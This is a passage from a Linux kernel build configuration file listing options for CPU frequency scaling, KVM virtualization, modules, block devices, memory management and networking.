CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set
CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set
CONFIG_CPU_FREQ_GOV_USERSPACE=y
CONFIG_CPU_FREQ_GOV_ONDEMAND=y
# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set
CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y

#
# CPU frequency scaling drivers
#
# CONFIG_CPUFREQ_DT is not set
# CONFIG_CPUFREQ_DT_RUST is not set
# CONFIG_CPUFREQ_DT_PLATDEV is not set
CONFIG_X86_INTEL_PSTATE=y
# CONFIG_X86_PCC_CPUFREQ is not set
CONFIG_X86_AMD_PSTATE=y
CONFIG_X86_AMD_PSTATE_DEFAULT_MODE=3
# CONFIG_X86_AMD_PSTATE_UT is not set
CONFIG_X86_ACPI_CPUFREQ=y
CONFIG_X86_ACPI_CPUFREQ_CPB=y
# CONFIG_X86_POWERNOW_K8 is not set
# CONFIG_X86_AMD_FREQ_SENSITIVITY is not set
# CONFIG_X86_SPEEDSTEP_CENTRINO is not set
# CONFIG_X86_P4_CLOCKMOD is not set

#
# shared options
#
CONFIG_CPUFREQ_ARCH_CUR_FREQ=y
# end of CPU Frequency scaling

#
# CPU Idle
#
CONFIG_CPU_IDLE=y
# CONFIG_CPU_IDLE_GOV_LADDER is not set
CONFIG_CPU_IDLE_GOV_MENU=y
# CONFIG_CPU_IDLE_GOV_TEO is not set
CONFIG_CPU_IDLE_GOV_HALTPOLL=y
CONFIG_HALTPOLL_CPUIDLE=y
# end of CPU Idle

CONFIG_INTEL_IDLE=y
# end of Power management and ACPI options

#
# Bus options (PCI etc.)
#
CONFIG_PCI_DIRECT=y
CONFIG_PCI_MMCONFIG=y
CONFIG_MMCONF_FAM10H=y
CONFIG_ISA_BUS=y
CONFIG_ISA_DMA_API=y
CONFIG_AMD_NB=y
CONFIG_AMD_NODE=y
# end of Bus options (PCI etc.)

#
# Binary Emulations
#
CONFIG_IA32_EMULATION=y
# CONFIG_IA32_EMULATION_DEFAULT_DISABLED is not set
CONFIG_COMPAT_32=y
CONFIG_COMPAT=y
CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
# end of Binary Emulations

CONFIG_KVM_COMMON=y
CONFIG_HAVE_KVM_PFNCACHE=y
CONFIG_HAVE_KVM_IRQCHIP=y
CONFIG_HAVE_KVM_IRQ_ROUTING=y
CONFIG_HAVE_KVM_DIRTY_RING=y
CONFIG_HAVE_KVM_DIRTY_RING_TSO=y
CONFIG_HAVE_KVM_DIRTY_RING_ACQ_REL=y
CONFIG_KVM_MMIO=y
CONFIG_KVM_ASYNC_PF=y
CONFIG_HAVE_KVM_MSI=y
CONFIG_HAVE_KVM_READONLY_MEM=y
CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y
CONFIG_KVM_VFIO=y
CONFIG_KVM_GENERIC_DIRTYLOG_READ_PROTECT=y
CONFIG_KVM_GENERIC_PRE_FAULT_MEMORY=y
CONFIG_KVM_COMPAT=y
CONFIG_HAVE_KVM_IRQ_BYPASS=y
CONFIG_HAVE_KVM_NO_POLL=y
CONFIG_VIRT_XFER_TO_GUEST_WORK=y
CONFIG_HAVE_KVM_PM_NOTIFIER=y
CONFIG_KVM_GENERIC_HARDWARE_ENABLING=y
CONFIG_KVM_ELIDE_TLB_FLUSH_IF_YOUNG=y
CONFIG_KVM_MMU_LOCKLESS_AGING=y
CONFIG_KVM_GENERIC_MEMORY_ATTRIBUTES=y
CONFIG_KVM_GUEST_MEMFD=y
CONFIG_VIRTUALIZATION=y
CONFIG_KVM_X86=y
CONFIG_KVM=y
CONFIG_KVM_SW_PROTECTED_VM=y
CONFIG_KVM_INTEL=y
# CONFIG_KVM_INTEL_PROVE_VE is not set
CONFIG_X86_SGX_KVM=y
CONFIG_KVM_AMD=y
CONFIG_KVM_IOAPIC=y
CONFIG_KVM_SMM=y
CONFIG_KVM_HYPERV=y
CONFIG_KVM_XEN=y
CONFIG_KVM_PROVE_MMU=y
CONFIG_KVM_MAX_NR_VCPUS=1024
CONFIG_X86_REQUIRED_FEATURE_ALWAYS=y
CONFIG_X86_REQUIRED_FEATURE_NOPL=y
CONFIG_X86_REQUIRED_FEATURE_CX8=y
CONFIG_X86_REQUIRED_FEATURE_CMOV=y
CONFIG_X86_REQUIRED_FEATURE_CPUID=y
CONFIG_X86_REQUIRED_FEATURE_FPU=y
CONFIG_X86_REQUIRED_FEATURE_PAE=y
CONFIG_X86_REQUIRED_FEATURE_PSE=y
CONFIG_X86_REQUIRED_FEATURE_PGE=y
CONFIG_X86_REQUIRED_FEATURE_MSR=y
CONFIG_X86_REQUIRED_FEATURE_FXSR=y
CONFIG_X86_REQUIRED_FEATURE_XMM=y
CONFIG_X86_REQUIRED_FEATURE_XMM2=y
CONFIG_X86_REQUIRED_FEATURE_LM=y
CONFIG_X86_DISABLED_FEATURE_VME=y
CONFIG_X86_DISABLED_FEATURE_K6_MTRR=y
CONFIG_X86_DISABLED_FEATURE_CYRIX_ARR=y
CONFIG_X86_DISABLED_FEATURE_CENTAUR_MCR=y
CONFIG_X86_DISABLED_FEATURE_LAM=y
CONFIG_X86_DISABLED_FEATURE_XENPV=y
CONFIG_X86_DISABLED_FEATURE_TDX_GUEST=y
CONFIG_X86_DISABLED_FEATURE_SEV_SNP=y
CONFIG_AS_WRUSS=y
CONFIG_ARCH_CONFIGURES_CPU_MITIGATIONS=y

#
# General architecture-dependent options
#
CONFIG_HOTPLUG_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_CLUSTER=y
CONFIG_ARCH_SUPPORTS_SCHED_MC=y
CONFIG_SCHED_SMT=y
CONFIG_SCHED_CLUSTER=y
CONFIG_SCHED_MC=y
CONFIG_HOTPLUG_CORE_SYNC=y
CONFIG_HOTPLUG_CORE_SYNC_DEAD=y
CONFIG_HOTPLUG_CORE_SYNC_FULL=y
CONFIG_HOTPLUG_SPLIT_STARTUP=y
CONFIG_HOTPLUG_PARALLEL=y
CONFIG_GENERIC_IRQ_ENTRY=y
CONFIG_GENERIC_SYSCALL=y
CONFIG_GENERIC_ENTRY=y
CONFIG_ARCH_SUPPORTS_SYSCALL_USER_DISPATCH=y
CONFIG_SYSCALL_USER_DISPATCH=y
# CONFIG_KPROBES is not set
CONFIG_JUMP_LABEL=y
# CONFIG_STATIC_KEYS_SELFTEST is not set
# CONFIG_STATIC_CALL_SELFTEST is not set
CONFIG_UPROBES=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y
CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y
CONFIG_HAVE_NMI=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_CONTIGUOUS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAS_FORTIFY_SOURCE=y
CONFIG_ARCH_HAS_SET_MEMORY=y
CONFIG_ARCH_HAS_SET_DIRECT_MAP=y
CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y
CONFIG_ARCH_HAS_DELAY_TIMER=y
CONFIG_ARCH_HAS_CPU_PASID=y
CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y
CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y
CONFIG_ARCH_WANTS_NO_INSTR=y
CONFIG_ARCH_MEMORY_ORDER_TSO=y
CONFIG_HAVE_ASM_MODVERSIONS=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_RSEQ=y
CONFIG_HAVE_RUST=y
CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y
CONFIG_UNWIND_USER=y
CONFIG_HAVE_UNWIND_USER_FP=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y
CONFIG_MMU_GATHER_TABLE_FREE=y
CONFIG_MMU_GATHER_RCU_TABLE_FREE=y
CONFIG_MMU_GATHER_MERGE_VMAS=y
CONFIG_ARCH_WANT_IRQS_OFF_ACTIVATE_MM=y
CONFIG_MMU_LAZY_TLB_REFCOUNT=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_ARCH_HAVE_EXTRA_ELF_NOTES=y
CONFIG_ARCH_HAS_NMI_SAFE_THIS_CPU_OPS=y
CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y
CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y
CONFIG_HAVE_ARCH_SECCOMP=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP=y
CONFIG_SECCOMP_FILTER=y
# CONFIG_SECCOMP_CACHE_DEBUG is not set
CONFIG_HAVE_ARCH_KSTACK_ERASE=y
CONFIG_HAVE_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y
CONFIG_HAS_LTO_CLANG=y
CONFIG_LTO_NONE=y
# CONFIG_LTO_CLANG_FULL is not set
# CONFIG_LTO_CLANG_THIN is not set
# CONFIG_LTO_CLANG_THIN_DIST is not set
CONFIG_AUTOFDO_CLANG=y
CONFIG_PROPELLER_CLANG=y
CONFIG_ARCH_SUPPORTS_CFI=y
# CONFIG_CFI is not set
CONFIG_HAVE_CFI_ICALL_NORMALIZE_INTEGERS=y
CONFIG_HAVE_CFI_ICALL_NORMALIZE_INTEGERS_RUSTC=y
CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y
CONFIG_HAVE_CONTEXT_TRACKING_USER=y
CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_PV_STEAL_CLOCK_GEN=y
CONFIG_HAVE_MOVE_PUD=y
CONFIG_HAVE_MOVE_PMD=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y
CONFIG_HAVE_ARCH_HUGE_VMAP=y
CONFIG_HAVE_ARCH_HUGE_VMALLOC=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_ARCH_WANT_PMD_MKWRITE=y
CONFIG_HAVE_ARCH_SOFT_DIRTY=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_EXECMEM_ROX=y
CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y
CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y
CONFIG_SOFTIRQ_ON_OWN_STACK=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_MMAP_RND_BITS=y
CONFIG_HAVE_EXIT_THREAD=y
CONFIG_ARCH_MMAP_RND_BITS=28
CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS=y
CONFIG_ARCH_MMAP_RND_COMPAT_BITS=8
CONFIG_HAVE_ARCH_COMPAT_MMAP_BASES=y
CONFIG_HAVE_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_LESS_THAN_64KB=y
CONFIG_PAGE_SIZE_LESS_THAN_256KB=y
CONFIG_PAGE_SHIFT=12
CONFIG_HAVE_OBJTOOL=y
CONFIG_HAVE_JUMP_LABEL_HACK=y
CONFIG_HAVE_NOINSTR_HACK=y
CONFIG_HAVE_NOINSTR_VALIDATION=y
CONFIG_HAVE_UACCESS_VALIDATION=y
CONFIG_HAVE_STACK_VALIDATION=y
CONFIG_HAVE_RELIABLE_STACKTRACE=y
CONFIG_OLD_SIGSUSPEND3=y
CONFIG_COMPAT_OLD_SIGACTION=y
CONFIG_COMPAT_32BIT_TIME=y
CONFIG_ARCH_SUPPORTS_RT=y
CONFIG_HAVE_ARCH_VMAP_STACK=y
CONFIG_VMAP_STACK=y
CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y
CONFIG_RANDOMIZE_KSTACK_OFFSET=y
# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y
# CONFIG_LOCK_EVENT_COUNTS is not set
CONFIG_ARCH_HAS_MEM_ENCRYPT=y
CONFIG_HAVE_STATIC_CALL=y
CONFIG_HAVE_STATIC_CALL_INLINE=y
CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y
CONFIG_ARCH_HAS_ELFCORE_COMPAT=y
CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y
CONFIG_DYNAMIC_SIGFRAME=y
CONFIG_HAVE_ARCH_NODE_DEV_GROUP=y
CONFIG_ARCH_HAS_HW_PTE_YOUNG=y
CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y
CONFIG_ARCH_HAS_KERNEL_FPU_SUPPORT=y
CONFIG_HAVE_GENERIC_TIF_BITS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y
# end of GCOV-based kernel profiling

CONFIG_HAVE_GCC_PLUGINS=y
CONFIG_FUNCTION_ALIGNMENT_4B=y
CONFIG_FUNCTION_ALIGNMENT_16B=y
CONFIG_FUNCTION_ALIGNMENT=16
CONFIG_CC_HAS_SANE_FUNCTION_ALIGNMENT=y
CONFIG_ARCH_HAS_CPU_ATTACK_VECTORS=y
# end of General architecture-dependent options

CONFIG_RT_MUTEXES=y
CONFIG_MODULE_SIG_FORMAT=y
CONFIG_MODULES=y
# CONFIG_MODULE_DEBUG is not set
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODULE_UNLOAD_TAINT_TRACKING is not set
CONFIG_MODVERSIONS=y
# CONFIG_GENKSYMS is not set
CONFIG_GENDWARFKSYMS=y
CONFIG_ASM_MODVERSIONS=y
CONFIG_EXTENDED_MODVERSIONS=y
# CONFIG_BASIC_MODVERSIONS is not set
CONFIG_MODULE_SRCVERSION_ALL=y
CONFIG_MODULE_SIG=y
# CONFIG_MODULE_SIG_FORCE is not set
# CONFIG_MODULE_SIG_ALL is not set
CONFIG_MODULE_SIG_SHA256=y
# CONFIG_MODULE_SIG_SHA384 is not set
# CONFIG_MODULE_SIG_SHA512 is not set
# CONFIG_MODULE_SIG_SHA3_256 is not set
# CONFIG_MODULE_SIG_SHA3_384 is not set
# CONFIG_MODULE_SIG_SHA3_512 is not set
CONFIG_MODULE_SIG_HASH="sha256"
# CONFIG_MODULE_COMPRESS is not set
# CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set
CONFIG_MODPROBE_PATH="/sbin/modprobe"
# CONFIG_TRIM_UNUSED_KSYMS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_BLOCK=y
CONFIG_BLOCK_LEGACY_AUTOLOAD=y
CONFIG_BLK_RQ_ALLOC_TIME=y
CONFIG_BLK_CGROUP_RWSTAT=y
CONFIG_BLK_CGROUP_PUNT_BIO=y
CONFIG_BLK_DEV_BSG_COMMON=y
CONFIG_BLK_ICQ=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y
# CONFIG_BLK_DEV_WRITE_MOUNTED is not set
CONFIG_BLK_DEV_ZONED=y
CONFIG_BLK_DEV_THROTTLING=y
CONFIG_BLK_WBT=y
CONFIG_BLK_WBT_MQ=y
CONFIG_BLK_CGROUP_IOLATENCY=y
# CONFIG_BLK_CGROUP_FC_APPID is not set
CONFIG_BLK_CGROUP_IOCOST=y
CONFIG_BLK_CGROUP_IOPRIO=y
CONFIG_BLK_DEBUG_FS=y
# CONFIG_BLK_SED_OPAL is not set
CONFIG_BLK_INLINE_ENCRYPTION=y
CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK=y

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
CONFIG_ACORN_PARTITION=y
CONFIG_ACORN_PARTITION_CUMANA=y
CONFIG_ACORN_PARTITION_EESOX=y
CONFIG_ACORN_PARTITION_ICS=y
CONFIG_ACORN_PARTITION_ADFS=y
CONFIG_ACORN_PARTITION_POWERTEC=y
CONFIG_ACORN_PARTITION_RISCIX=y
CONFIG_AIX_PARTITION=y
CONFIG_OSF_PARTITION=y
CONFIG_AMIGA_PARTITION=y
CONFIG_ATARI_PARTITION=y
CONFIG_MAC_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BSD_DISKLABEL=y
CONFIG_MINIX_SUBPARTITION=y
CONFIG_SOLARIS_X86_PARTITION=y
CONFIG_UNIXWARE_DISKLABEL=y
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
CONFIG_KARMA_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_SYSV68_PARTITION=y
CONFIG_CMDLINE_PARTITION=y
# CONFIG_OF_PARTITION is not set
# end of Partition Types

CONFIG_BLK_PM=y
CONFIG_BLOCK_HOLDER_DEPRECATED=y
CONFIG_BLK_MQ_STACKING=y
# CONFIG_BLK_ERROR_INJECTION is not set

#
# IO Schedulers
#
CONFIG_MQ_IOSCHED_DEADLINE=y
CONFIG_MQ_IOSCHED_KYBER=y
CONFIG_IOSCHED_BFQ=y
CONFIG_BFQ_GROUP_IOSCHED=y
CONFIG_BFQ_CGROUP_DEBUG=y
# end of IO Schedulers

CONFIG_PREEMPT_NOTIFIERS=y
CONFIG_PADATA=y
CONFIG_ASN1=y
CONFIG_UNINLINE_SPIN_UNLOCK=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_RWSEM_SPIN_ON_OWNER=y
CONFIG_LOCK_SPIN_ON_OWNER=y
CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y
CONFIG_QUEUED_SPINLOCKS=y
# CONFIG_QUEUED_SPINLOCKS_TRACE_CONTENDED_RELEASE is not set
CONFIG_ARCH_USE_QUEUED_RWLOCKS=y
CONFIG_QUEUED_RWLOCKS=y
CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y
CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y
CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y
CONFIG_FREEZER=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_COMPAT_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
# end of Executable file formats

#
# Memory Management options
#
CONFIG_SWAP=y
CONFIG_ZSWAP=y
CONFIG_ZSWAP_DEFAULT_ON=y
CONFIG_ZSWAP_SHRINKER_DEFAULT_ON=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_DEFLATE is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZO is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT_842=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4 is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4HC is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_ZSTD is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT="842"
CONFIG_ZSMALLOC=y

#
# Zsmalloc allocator options
#

#
# Zsmalloc is a common backend allocator for zswap & zram
#
# CONFIG_ZSMALLOC_STAT is not set
CONFIG_ZSMALLOC_CHAIN_SIZE=8
# end of Zsmalloc allocator options

#
# Slab allocator options
#
CONFIG_SLUB=y
CONFIG_KVFREE_RCU_BATCHED=y
# CONFIG_SLUB_TINY is not set
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_SLAB_BUCKETS is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_KMALLOC_PARTITION_CACHES is not set
# end of Slab allocator options

# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set
# CONFIG_COMPAT_BRK is not set
CONFIG_SPARSEMEM=y
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
CONFIG_SPARSEMEM_VMEMMAP=y
CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y
CONFIG_ARCH_WANT_OPTIMIZE_HUGETLB_VMEMMAP=y
CONFIG_HAVE_GUP_FAST=y
CONFIG_NUMA_KEEP_MEMINFO=y
CONFIG_MEMORY_ISOLATION=y
CONFIG_EXCLUSIVE_SYSTEM_RAM=y
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
CONFIG_MEMORY_HOTPLUG=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_OFFLINE is not set
CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_AUTO=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_KERNEL is not set
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_MOVABLE is not set
CONFIG_MEMORY_HOTREMOVE=y
CONFIG_MHP_MEMMAP_ON_MEMORY=y
CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y
CONFIG_SPLIT_PTE_PTLOCKS=y
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
CONFIG_SPLIT_PMD_PTLOCKS=y
CONFIG_BALLOON=y
# CONFIG_BALLOON_MIGRATION is not set
CONFIG_COMPACTION=y
CONFIG_COMPACT_UNEVICTABLE_DEFAULT=1
CONFIG_PAGE_REPORTING=y
CONFIG_NUMA_MIGRATION=y
CONFIG_MIGRATION=y
CONFIG_DEVICE_MIGRATION=y
CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y
CONFIG_ARCH_HAS_PMD_SOFTLEAVES=y
CONFIG_CONTIG_ALLOC=y
CONFIG_PCP_BATCH_SCALE_MAX=5
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_MMU_NOTIFIER=y
CONFIG_KSM=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y
# CONFIG_MEMORY_FAILURE is not set
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_ARCH_WANTS_THP_SWAP=y
# CONFIG_PERSISTENT_HUGE_ZERO_FOLIO is not set
CONFIG_MM_ID=y
CONFIG_TRANSPARENT_HUGEPAGE=y
# CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set
CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ADVISE=y
CONFIG_THP_SWAP=y
# CONFIG_NO_PAGE_MAPCOUNT is not set
CONFIG_PAGE_MAPCOUNT=y
CONFIG_PGTABLE_HAS_HUGE_LEAVES=y
CONFIG_HAVE_GIGANTIC_FOLIOS=y
CONFIG_ASYNC_KERNEL_PGTABLE_FREE=y
CONFIG_ARCH_SUPPORTS_HUGE_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PMD_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PUD_PFNMAP=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_USE_PERCPU_NUMA_NODE_ID=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_CMA=y
# CONFIG_CMA_DEBUGFS is not set
# CONFIG_CMA_SYSFS is not set
CONFIG_CMA_AREAS=20
CONFIG_PAGE_BLOCK_MAX_ORDER=10
CONFIG_MEM_SOFT_DIRTY=y
CONFIG_GENERIC_EARLY_IOREMAP=y
# CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set
CONFIG_PAGE_IDLE_FLAG=y
# CONFIG_IDLE_PAGE_TRACKING is not set
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y
CONFIG_ARCH_HAS_ZONE_DMA_SET=y
CONFIG_ZONE_DMA=y
CONFIG_ZONE_DMA32=y
CONFIG_ZONE_DEVICE=y
CONFIG_HMM_MIRROR=y
CONFIG_GET_FREE_REGION=y
CONFIG_DEVICE_PRIVATE=y
CONFIG_VMAP_PFN=y
CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y
CONFIG_ARCH_HAS_PKEYS=y
CONFIG_ARCH_USES_PG_ARCH_2=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PERCPU_STATS=y
# CONFIG_GUP_TEST is not set
# CONFIG_DMAPOOL_TEST is not set
CONFIG_ARCH_HAS_PTE_SPECIAL=y
CONFIG_MAPPING_DIRTY_HELPERS=y
CONFIG_KMAP_LOCAL=y
CONFIG_MEMFD_CREATE=y
CONFIG_SECRETMEM=y
CONFIG_ANON_VMA_NAME=y
CONFIG_HAVE_ARCH_USERFAULTFD_WP=y
CONFIG_HAVE_ARCH_USERFAULTFD_MINOR=y
CONFIG_USERFAULTFD_RWP=y
CONFIG_USERFAULTFD=y
# CONFIG_PTE_MARKER_UFFD_WP is not set
CONFIG_LRU_GEN=y
CONFIG_LRU_GEN_ENABLED=y
# CONFIG_LRU_GEN_STATS is not set
CONFIG_LRU_GEN_WALKS_MMU=y
CONFIG_LOCK_MM_AND_FIND_VMA=y
CONFIG_IOMMU_MM_DATA=y
CONFIG_EXECMEM=y
CONFIG_NUMA_MEMBLKS=y
CONFIG_NUMA_EMU=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
CONFIG_PT_RECLAIM=y

#
# Data Access Monitoring
#
CONFIG_DAMON=y
# CONFIG_DAMON_DEBUG_SANITY is not set
CONFIG_DAMON_VADDR=y
CONFIG_DAMON_PADDR=y
# CONFIG_DAMON_SYSFS is not set
CONFIG_DAMON_RECLAIM=y
# CONFIG_DAMON_LRU_SORT is not set
# CONFIG_DAMON_STAT is not set
# end of Data Access Monitoring
# end of Memory Management options

CONFIG_NET=y
CONFIG_WANT_COMPAT_NETLINK_MESSAGES=y
CONFIG_COMPAT_NETLINK_MESSAGES=y
CONFIG_NET_INGRESS=y
CONFIG_NET_EGRESS=y
CONFIG_NET_XGRESS=y
CONFIG_NET_REDIRECT=y
CONFIG_SKB_DECRYPTED=y
CONFIG_SKB_EXTENSIONS=y
CONFIG_NET_DEVMEM=y
CONFIG_NET_SHAPER=y
CONFIG_NET_CRC32C=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=y
CONFIG_INET_PSP=y
CONFIG_UNIX=y
CONFIG_AF_UNIX_OOB=y
CONFIG_UNIX_DIAG=y
CONFIG_TLS=y
CONFIG_TLS_DEVICE=y
CONFIG_XFRM=y
CONFIG_XFRM_OFFLOAD=y
CONFIG_XFRM_ALGO=y
CONFIG_XFRM_USER=y
